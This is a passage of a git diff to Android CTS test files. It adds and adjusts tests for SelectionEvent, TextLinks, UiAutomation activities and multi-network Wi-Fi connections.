+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+ // Ensure there is no call present in Telecom
+ assertFalse(mTelecomManager.isInCall());
+ }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
index 72550c46bd4..d86ffb1215f 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
@@ -16,6 +16,11 @@
package android.view.textclassifier.cts;
+import static com.google.common.truth.Truth.assertThat;
+
+import android.view.textclassifier.SelectionEvent;
+import android.view.textclassifier.TextClassifier;
+
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
@@ -27,7 +32,23 @@ import org.junit.runner.RunWith;
public class SelectionEventTest {
@Test
- public void testSelectionEvent_placeholder() {
- // TODO: add tests for SelectionEvent
+ public void testSelectionEvent() {
+ SelectionEvent event = SelectionEvent.createSelectionActionEvent(0, 1,
+ SelectionEvent.ACTION_COPY);
+ assertThat(event.getEventType()).isEqualTo(SelectionEvent.ACTION_COPY);
+ assertThat(event.getStart()).isEqualTo(0);
+ assertThat(event.getEnd()).isEqualTo(0);
+ assertThat(event.getInvocationMethod()).isEqualTo(SelectionEvent.INVOCATION_UNKNOWN);
+ assertThat(event.getEntityType()).isEqualTo(TextClassifier.TYPE_UNKNOWN);
+ assertThat(event.getEventIndex()).isEqualTo(0);
+ assertThat(event.getPackageName()).isEqualTo("");
+ assertThat(event.getSmartStart()).isEqualTo(0);
+ assertThat(event.getSmartEnd()).isEqualTo(0);
+ assertThat(event.getWidgetType()).isEqualTo(TextClassifier.WIDGET_TYPE_UNKNOWN);
+ assertThat(event.getWidgetVersion()).isNull();
+ assertThat(event.getResultId()).isEqualTo("");
+ assertThat(event.getEventTime()).isEqualTo(0);
+ assertThat(event.getDurationSinceSessionStart()).isEqualTo(0);
+ assertThat(event.getDurationSincePreviousEvent()).isEqualTo(0);
}
}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
index 1414ed7e327..3592c9605f5 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
@@ -231,6 +231,7 @@ public class TextLinksTest {
assertNull(request.getDefaultLocales());
assertTrue(request.getExtras().isEmpty());
assertNull(request.getEntityConfig());
+ assertNull(request.getCallingPackageName());
}
@Test
@@ -253,6 +254,7 @@ public class TextLinksTest {
TextClassifier.HINT_TEXT_IS_EDITABLE,
request.getEntityConfig().getHints().iterator().next());
assertEquals(referenceTime, request.getReferenceTime());
+ assertNull(request.getCallingPackageName());
}
}
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
index 839a2903190..7f175637126 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
@@ -31,6 +31,7 @@ public class UiAutomationTestFirstActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
setContentView(R.layout.ui_automation_test);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
index 4ba0f743ce1..5a0b6d86153 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
@@ -30,6 +30,7 @@ public class UiAutomationTestSecondActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
setContentView(R.layout.ui_automation_test);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index 71300513612..88457caaa9b 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -259,7 +259,9 @@ public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestB
* Tests the concurrent connection flow.
* 1. Connect to a network using peer to peer API.
* 2. Connect to a network using internet connectivity API.
- * 3. Verify that both connections are active.
+ * 3. Verify that both connections are active only the network for peer-to-peer and network
+ * for internet have different SSIDs. If they have the same SSID, verify there's exactly one
+ * connection.
*/
@Test
public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
@@ -275,7 +277,9 @@ public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestB
mTestNetworkForInternetConnection);
// Ensure that there are 2 wifi connections available for apps.
- assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+ assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(
+ mTestNetworkForPeerToPeer.SSID.equals(mTestNetworkForInternetConnection.SSID)
+ ? 1 : 2);
}
/**
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index 98ab11db9fb..c845138b0aa 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -146,7 +146,7 @@ public class TestHelper {
wifiManager.unregisterScanResultsCallback(scanResultsCallback);
}
List<ScanResult> scanResults = wifiManager.getScanResults();
- if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+ if (scanResults == null || scanResults.isEmpty()) continue;
for (ScanResult scanResult : scanResults) {
WifiConfiguration matchingNetwork = savedNetworks.stream()
.filter(network -> TextUtils.equals(